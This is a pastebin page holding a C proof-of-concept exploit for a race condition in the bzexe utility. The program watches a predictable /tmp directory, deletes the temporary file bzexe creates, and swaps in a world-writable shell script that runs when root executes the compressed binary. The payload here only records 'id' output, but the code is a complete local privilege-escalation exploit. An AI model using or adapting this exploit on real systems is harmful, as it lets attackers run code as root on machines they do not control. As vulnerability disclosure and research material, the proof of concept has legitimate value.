SHOW:
|
|
- or go back to the newest paste.
| 1 | /* | |
| 2 | bzexe race condition POC | |
| 3 | Benjamin Renaut <[email protected]> | |
| 4 | -- | |
| 5 | Example of use: | |
| 6 | ||
| 7 | $ ./bzexe_poc ls | |
| 8 | ||
| 9 | then in another shell (as root): | |
| 10 | ||
| 11 | # cp /bin/ls ./ | |
| 12 | # bzexe ls | |
| 13 | # ./ls | |
| 14 | ||
| 15 | and check /tmp/stdout.bzexe_poc | |
| 16 | */ | |
| 17 | #include <stdio.h> | |
| 18 | #include <string.h> | |
| 19 | #include <stdlib.h> | |
| 20 | #include <sys/types.h> | |
| 21 | #include <unistd.h> | |
| 22 | #include <sys/stat.h> | |
| 23 | #include <dirent.h> | |
| 24 | #include <errno.h> | |
| 25 | ||
| 26 | ||
| 27 | char* shellcode="#!/bin/sh\nid >/tmp/stdout.bzexe_poc\n"; | |
| 28 | ||
| 29 | ||
| 30 | int write_shellcode(char* dest) | |
| 31 | {
| |
| 32 | FILE* fdest=fopen(dest, "w"); | |
| 33 | if(fdest==NULL) | |
| 34 | return(-1); | |
| 35 | if(chmod(dest, 0777)) | |
| 36 | return(-1); | |
| 37 | fprintf(fdest, shellcode); | |
| 38 | fclose(fdest); | |
| 39 | return(0); | |
| 40 | } | |
| 41 | ||
| 42 | ||
| 43 | int main(int argc, char** argv) | |
| 44 | {
| |
| 45 | DIR* tdir; | |
| 46 | struct dirent* tdirent; | |
| 47 | char dirname[4000]; | |
| 48 | char target[4000]; | |
| 49 | ||
| 50 | if(argc!=2) | |
| 51 | {
| |
| 52 | printf("Usage: %s BINARY\n", argv[0]);
| |
| 53 | printf("Will wait for BINARY to be executed (through bzexe) and then will try and exploit it.\n");
| |
| 54 | return(0); | |
| 55 | } | |
| 56 | ||
| 57 | snprintf(dirname, 4000, "/tmp/%s", argv[1]); | |
| 58 | if(mkdir(dirname, 0777)) | |
| 59 | {
| |
| 60 | perror("mkdir");
| |
| 61 | return(-1); | |
| 62 | } | |
| 63 | ||
| 64 | ||
| 65 | while(1) | |
| 66 | {
| |
| 67 | tdir=opendir(dirname); | |
| 68 | if(tdir==NULL) | |
| 69 | {
| |
| 70 | perror("opendir");
| |
| 71 | return(-1); | |
| 72 | } | |
| 73 | ||
| 74 | while((tdirent=readdir(tdir))!=NULL) | |
| 75 | {
| |
| 76 | if((strncmp(tdirent->d_name, "gztmp", 5)==0) && (tdirent->d_type & DT_REG)) | |
| 77 | {
| |
| 78 | snprintf(target, 4000, "%s/%s", dirname, tdirent->d_name); | |
| 79 | // Other files might exist - not taken into account here. | |
| 80 | if(unlink(target)) | |
| 81 | {
| |
| 82 | perror("unlink");
| |
| 83 | return(-1); | |
| 84 | } | |
| 85 | if(rmdir(dirname)) | |
| 86 | {
| |
| 87 | perror("rmdir");
| |
| 88 | return(-1); | |
| 89 | } | |
| 90 | if(write_shellcode(dirname)) | |
| 91 | {
| |
| 92 | printf("Failed.\n");
| |
| 93 | return(-1); | |
| 94 | } | |
| 95 | printf("Possible success.\n");
| |
| 96 | return(0); | |
| 97 | } | |
| 98 | } | |
| 99 | ||
| 100 | closedir(tdir); | |
| 101 | } | |
| 102 | ||
| 103 | return(0); | |
| 104 | } |